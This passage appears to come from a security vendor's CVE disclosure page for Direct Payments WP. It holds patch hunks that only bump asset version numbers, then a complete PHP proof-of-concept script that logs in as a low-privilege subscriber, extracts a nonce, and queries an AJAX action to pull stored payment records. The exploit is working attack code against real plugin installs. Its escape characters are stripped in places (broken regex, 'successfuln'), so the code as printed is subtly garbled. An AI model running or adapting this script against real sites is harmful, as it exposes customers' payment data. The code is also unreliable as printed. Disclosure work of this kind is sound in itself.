         $saved_mobile_accounts = get_option('digages_dp_direct_mobile_accounts', array());
         // Localize the script with data for AJAX and translation
@@ -36,7 +36,7 @@
             'mobile-dp-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-save.js', // Path to your JavaScript file
             array('jquery'), // Dependencies
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer
         );

@@ -53,7 +53,7 @@
             'digages-dp-mob-transfer-checkbox',
             plugins_url('../assets/js/mobilemon/mobile-transfer-checkbox.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );

--- a/direct-payments-wp/functions/p2penqueue.php
+++ b/direct-payments-wp/functions/p2penqueue.php
@@ -18,10 +18,10 @@
         if (!isset($_GET['_wpnonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['_wpnonce'])), 'digages_direct_payments_nonce')) {
             wp_die(esc_html__('Nonce verification failed', 'direct-payments-wp'));
         }
-        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue p2p transfer JavaScript for the modal
-        wp_enqueue_script('p2p-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('p2p-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_p2p_accounts = get_option('digages_dp_direct_p2p_accounts', array());
         // Localize the script with data for AJAX and translation
@@ -38,7 +38,7 @@
             'p2p-dp-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-save.js', // Path to your JavaScript file.
             array('jquery'), // Dependencies.
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer.
         );

@@ -53,7 +53,7 @@
             'digages-dp-p2p-transfer-checkbox',
             plugins_url('../assets/js/p2p/p2p-transfer-checkbox.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );

--- a/direct-payments-wp/functions/popupenqueue.php
+++ b/direct-payments-wp/functions/popupenqueue.php
@@ -19,20 +19,20 @@
     $accent_color = esc_attr($digages_accent_color) ? esc_attr($digages_accent_color) : '#222222';

     //$accent_color = "#222222";
-    wp_enqueue_style('digages-dp-direct-payments-css', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.0');
+    wp_enqueue_style('digages-dp-direct-payments-css', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.2');
     wp_add_inline_style( 'digages-dp-direct-payments-css', ":root { --accent-color: $accent_color; }" );

     $site_url = get_site_url();

     // // Enqueue custom JS to handle modal behavior
-    // wp_enqueue_script('custom-digages-mobilemoney-modal', plugin_dir_url(__FILE__) . '../assets/js/custom-digages-mobilemoney-modal.js', array('jquery'), '1.3.0', true);
+    // wp_enqueue_script('custom-digages-mobilemoney-modal', plugin_dir_url(__FILE__) . '../assets/js/custom-digages-mobilemoney-modal.js', array('jquery'), '1.3.2', true);

     // // Pass the SVG path to JavaScript
     // wp_localize_script('custom-digages-mobilemoney-modal', 'loadersvg', array(
     //     'svgPath' => plugins_url('../assets/img/poploader.svg', __FILE__)
     // ));

-    wp_enqueue_script('payment-dp-methods', plugin_dir_url(__FILE__) . '../assets/js/payment-methods.js', array('jquery'), '1.3.0', true);
+    wp_enqueue_script('payment-dp-methods', plugin_dir_url(__FILE__) . '../assets/js/payment-methods.js', array('jquery'), '1.3.2', true);
     wp_localize_script('payment-dp-methods', 'ajax_object', array(
         'ajaxurl' => admin_url('admin-ajax.php'),
         'nonce'   => wp_create_nonce('digages_dp_fetch_payment_methods_nonce')
@@ -40,7 +40,7 @@


     // Enqueue custom JS
-    wp_enqueue_script('direct-dp-payment-js', plugin_dir_url(__FILE__) . '../assets/js/direct-payment.js', ['jquery'], '1.3.0', true);
+    wp_enqueue_script('direct-dp-payment-js', plugin_dir_url(__FILE__) . '../assets/js/direct-payment.js', ['jquery'], '1.3.2', true);

     // Localize script for AJAX URL and nonce
     wp_localize_script('direct-dp-payment-js', 'directPaymentVars', [
--- a/direct-payments-wp/notice/enqueue.php
+++ b/direct-payments-wp/notice/enqueue.php
@@ -5,8 +5,8 @@
     //     return;
     // }

-    wp_enqueue_style('digages-notice-css_dp', plugin_dir_url(__FILE__) . 'css/notice.css', array(), '1.3.0', 'all');
-    wp_enqueue_script('digages-admin-script_dp', plugin_dir_url(__FILE__) . 'js/digages-admin.js', ['jquery'], '1.3.0', true);
+    wp_enqueue_style('digages-notice-css_dp', plugin_dir_url(__FILE__) . 'css/notice.css', array(), '1.3.2', 'all');
+    wp_enqueue_script('digages-admin-script_dp', plugin_dir_url(__FILE__) . 'js/digages-admin.js', ['jquery'], '1.3.2', true);
     wp_localize_script('digages-admin-script_dp', 'digagesAdmin', [
         'ajaxurl'  => admin_url('admin-ajax.php'),
         'security' => wp_create_nonce('digages-dismiss-notice')
--- a/direct-payments-wp/onboarding/enqueue.php
+++ b/direct-payments-wp/onboarding/enqueue.php
@@ -2,28 +2,28 @@
 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
 // phpcs:disable

-wp_enqueue_style('digages-admin-woodp-remove-onboarding', plugin_dir_url(__FILE__) . 'assets/css/removewordpress.css', array(), '1.3.0', 'all');
+wp_enqueue_style('digages-admin-woodp-remove-onboarding', plugin_dir_url(__FILE__) . 'assets/css/removewordpress.css', array(), '1.3.2', 'all');

-wp_enqueue_style('digages-admin-woodp-onboarding', plugin_dir_url(__FILE__) . 'assets/css/styles.css', array(), '1.3.0', 'all');
-wp_enqueue_style('digages-admin-woodp-onboarding-form', plugin_dir_url(__FILE__) . 'assets/css/forms.css', array(), '1.3.0', 'all');
-wp_enqueue_style('digages-admin-woodp-onboarding-table', plugin_dir_url(__FILE__) . 'assets/css/table.css', array(), '1.3.0', 'all');
-
-wp_enqueue_style('digages-admin-woodp-onboarding-menu', plugin_dir_url(__FILE__) . 'assets/css/menu.css', array(), '1.3.0', 'all');
-wp_enqueue_style('digages-admin-woodp-onboarding-popup', plugin_dir_url(__FILE__) . 'assets/css/popup.css', array(), '1.3.0', 'all');
-wp_enqueue_style('bootstrap-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.0', 'all');
+wp_enqueue_style('digages-admin-woodp-onboarding', plugin_dir_url(__FILE__) . 'assets/css/styles.css', array(), '1.3.2', 'all');
+wp_enqueue_style('digages-admin-woodp-onboarding-form', plugin_dir_url(__FILE__) . 'assets/css/forms.css', array(), '1.3.2', 'all');
+wp_enqueue_style('digages-admin-woodp-onboarding-table', plugin_dir_url(__FILE__) . 'assets/css/table.css', array(), '1.3.2', 'all');
+
+wp_enqueue_style('digages-admin-woodp-onboarding-menu', plugin_dir_url(__FILE__) . 'assets/css/menu.css', array(), '1.3.2', 'all');
+wp_enqueue_style('digages-admin-woodp-onboarding-popup', plugin_dir_url(__FILE__) . 'assets/css/popup.css', array(), '1.3.2', 'all');
+wp_enqueue_style('bootstrap-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.2', 'all');


         wp_enqueue_script(
             'digages-bank-transfer-fixaccountselect',
             plugins_url('../assets/js/fixaccountselect.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );


         // Enqueue Bootstrap CSS and JS
-        wp_enqueue_style('digages-admin-direct-payments-currency', plugin_dir_url(__FILE__) . '../assets/css/currency-css.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-admin-direct-payments-currency', plugin_dir_url(__FILE__) . '../assets/css/currency-css.css', array(), '1.3.2', 'all');


         // Enqueue custom script for admin select form
@@ -31,19 +31,19 @@
          wp_enqueue_script('jquery');

     // Enqueue jQuery UI CSS (optional, if needed for styling)
-        wp_enqueue_style('digagespqselect-style', plugin_dir_url(__FILE__) . '../assets/css/digagespqselect.dev.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digagespqselect-style', plugin_dir_url(__FILE__) . '../assets/css/digagespqselect.dev.css', array(), '1.3.2', 'all');

-        wp_enqueue_style('digagesjquery-uijquery-ui', plugin_dir_url(__FILE__) . '../assets/css/jquery-ui.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digagesjquery-uijquery-ui', plugin_dir_url(__FILE__) . '../assets/css/jquery-ui.css', array(), '1.3.2', 'all');

-        wp_enqueue_style('digagesjquery-jquerysctipttop', plugin_dir_url(__FILE__) . '../assets/css/jquerysctipttop.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digagesjquery-jquerysctipttop', plugin_dir_url(__FILE__) . '../assets/css/jquerysctipttop.css', array(), '1.3.2', 'all');

-        wp_enqueue_script('digages-woodp-jquery-min', plugin_dir_url(__FILE__) . '../assets/js/ajquery.min.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-woodp-jquery-min', plugin_dir_url(__FILE__) . '../assets/js/ajquery.min.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_script('digages-woodp-jquery-ui-min', plugin_dir_url(__FILE__) . '../assets/js/ajquery-ui.min.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-woodp-jquery-ui-min', plugin_dir_url(__FILE__) . '../assets/js/ajquery-ui.min.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_script('digages-woodp-digagespqselect-dev', plugin_dir_url(__FILE__) . '../assets/js/digagespqselect.dev.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-woodp-digagespqselect-dev', plugin_dir_url(__FILE__) . '../assets/js/digagespqselect.dev.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_script('digages-woodp-select-single-correction', plugin_dir_url(__FILE__) . '../assets/js/select-single-correction.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-woodp-select-single-correction', plugin_dir_url(__FILE__) . '../assets/js/select-single-correction.js', array('jquery'), '1.3.2', true);

         wp_enqueue_script(
             'digages-woodp-selectd',
@@ -59,10 +59,10 @@
         // bank enqueue


-        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue bank transfer JavaScript for the modal
-        wp_enqueue_script('bank-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('bank-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_bank_accounts = get_option('digages_dp_direct_bank_accounts', array());
         $qrplaceholderimg = plugins_url('../assets/img/qrplaceholder.svg', __FILE__);
@@ -81,7 +81,7 @@
             'bank-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-save.js', // Path to your JavaScript file.
             array('jquery'), // Dependencies.
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer.
         );

@@ -98,10 +98,10 @@



-        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue crypto transfer JavaScript for the modal
-        wp_enqueue_script('crypto-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('crypto-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_crypto_accounts = get_option('digages_dp_direct_crypto_accounts', array());
         $qrplaceholderimg = plugins_url('../assets/img/qrplaceholder.svg', __FILE__);
@@ -122,7 +122,7 @@
             'crypto-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-save.js', // Path to your JavaScript file
             array('jquery'), // Dependencies
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer
         );

@@ -139,10 +139,10 @@
         // mobile enqueue


-        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue mobile transfer JavaScript for the modal
-        wp_enqueue_script('mobile-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('mobile-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-edit.js', array('jquery'), '1.3.2', true);

         $qrplaceholderimg = plugins_url('../assets/img/qrplaceholder.svg', __FILE__);

@@ -162,7 +162,7 @@
             'mobile-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-save.js', // Path to your JavaScript file
             array('jquery'), // Dependencies
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer
         );

@@ -178,12 +178,12 @@

         // p2p enqueue

-        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         $qrplaceholderimg = plugins_url('../assets/img/qrplaceholder.svg', __FILE__);

         // Enqueue p2p transfer JavaScript for the modal
-        wp_enqueue_script('p2p-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('p2p-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_p2p_accounts = get_option('digages_dp_direct_p2p_accounts', array());
         // Localize the script with data for AJAX and translation
@@ -201,7 +201,7 @@
             'p2p-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/p2p/p2p-transfer-save.js', // Path to your JavaScript file.
             array('jquery'), // Dependencies.
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer.
         );

@@ -214,7 +214,7 @@



-wp_enqueue_style('digages-admin-woodp-onboarding-addaccount', plugin_dir_url(__FILE__) . 'assets/css/addaccount.css', array(), '1.3.0', 'all');
+wp_enqueue_style('digages-admin-woodp-onboarding-addaccount', plugin_dir_url(__FILE__) . 'assets/css/addaccount.css', array(), '1.3.2', 'all');


 $aakey = get_option('digages_wdpp_activation_key');
@@ -224,7 +224,7 @@
         'digages-admin-script-onboaard-freeon',
         plugin_dir_url(__FILE__) . 'assets/js/freeon.js',
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );

@@ -232,7 +232,7 @@
         'digages-admin-script-onboaard-qrsele-freeon',
         plugin_dir_url(__FILE__) . 'assets/js/qrsele.js',
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );
 }
@@ -247,7 +247,7 @@
     'digages-admin-script-onboaard',
     plugin_dir_url(__FILE__) . 'assets/js/allpages.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -263,7 +263,7 @@
         'digages-interest-settings-onboard',
         plugins_url('assets/js/digages-interest-settings.js', __FILE__),
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );

@@ -281,7 +281,7 @@
         'digages-data-usage-woodp-onboard',
         plugins_url('assets/js/digages-data-usage.js', __FILE__),
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );

@@ -300,7 +300,7 @@
         'digages-admin-script-onboaard-methods',
         plugins_url('assets/js/methods.js', __FILE__),
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );

@@ -320,7 +320,7 @@
     'digages-admin-script-onboaard-popadj',
     plugin_dir_url(__FILE__) . 'assets/js/popadj.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -328,7 +328,7 @@
     'digages-admin-script-onboaard-popup',
     plugin_dir_url(__FILE__) . 'assets/js/popup.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -336,7 +336,7 @@
     'digages-admin-script-onboaard-menu',
     plugin_dir_url(__FILE__) . 'assets/js/menu.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -344,7 +344,7 @@
     'digages-admin-script-onboaard-addaccount',
     plugin_dir_url(__FILE__) . 'assets/js/addaccount.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -353,7 +353,7 @@
     'digages-admin-script-onboaard-overlaywait',
     plugin_dir_url(__FILE__) . 'assets/js/overlaywait.js',
     array('jquery'),
-    '1.3.0',
+    '1.3.2',
     true
 );

@@ -381,7 +381,7 @@
     )) {
         // Enqueue Bootstrap CSS and JS
         // Enqueue Bootstrap CSS and JS
-        wp_enqueue_style('digages-admin-woodp_onboarding', plugin_dir_url(__FILE__) . 'assets/css/styles.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-admin-woodp_onboarding', plugin_dir_url(__FILE__) . 'assets/css/styles.css', array(), '1.3.2', 'all');
     }
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-49340 - Direct Payments WP <= 1.3.0 - Authenticated (Subscriber+) Sensitive Information Exposure

<?php
/**
 * Proof of Concept for CVE-2025-49340
 * Requires: Valid WordPress subscriber credentials and a valid nonce
 * Target: Direct Payments WP plugin <= 1.3.0
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and obtain cookies/nonce
function authenticate_wordpress($url, $user, $pass) {
    $login_url = $url . '/wp-login.php';
    $admin_url = $url . '/wp-admin/';
    
    // Create a cookie jar
    $cookie_jar = tempnam(sys_get_temp_dir(), 'cookies');
    
    // Initial GET to obtain login form nonce (if any)
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from login form (if present)
    $nonce = '';
    if (preg_match('/name="wp_nonce" value="([^"]+)"/', $response, $matches)) {
        $nonce = $matches[1];
    }
    
    // Perform login
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1',
        'wp_nonce' => $nonce
    ]));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code !== 200 || strpos($response, 'Dashboard') === false) {
        die("Authentication failed");
    }
    
    // Step 2: Visit dashboard to obtain AJAX nonce
    $ch = curl_init($admin_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from page (look for digages_dp nonce)
    $ajax_nonce = '';
    if (preg_match('/"digages_dp_nonce"s*:s*"([^"]+)"/', $response, $matches)) {
        $ajax_nonce = $matches[1];
    }
    
    return ['cookies' => $cookie_jar, 'nonce' => $ajax_nonce];
}

// Step 3: Exploit vulnerable AJAX endpoint
function exploit_payment_records($url, $cookies, $nonce) {
    $ajax_url = $url . '/wp-admin/admin-ajax.php';
    
    $ch = curl_init($ajax_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'action' => 'digages_dp_get_payment_records',
        'nonce' => $nonce,
        'search' => '',
        'order' => 'desc',
        'orderby' => 'date',
        'paged' => '1',
        'records_per_page' => '50'
    ]));
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $response;
}

// Main execution
$auth = authenticate_wordpress($target_url, $username, $password);

if (empty($auth['nonce'])) {
    die("Could not obtain AJAX nonce. The plugin might not be active or user lacks dashboard access.");
}

echo "[+] Authentication successfuln";
echo "[+] Obtained nonce: " . substr($auth['nonce'], 0, 10) . "...n";
echo "[+] Exploiting payment records endpoint...nn";

$data = exploit_payment_records($target_url, $auth['cookies'], $auth['nonce']);
$decoded = json_decode($data, true);

if ($decoded && isset($decoded['data'])) {
    echo "SUCCESS: Retrieved " . count($decoded['data']) . " payment recordsn";
    echo "Sample record:n";
    if (count($decoded['data']) > 0) {
        print_r($decoded['data'][0]);
    }
} else {
    echo "Response: " . htmlspecialchars(substr($data, 0, 500)) . "n";
}

// Cleanup
if (file_exists($auth['cookies'])) {
    unlink($auth['cookies']);
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School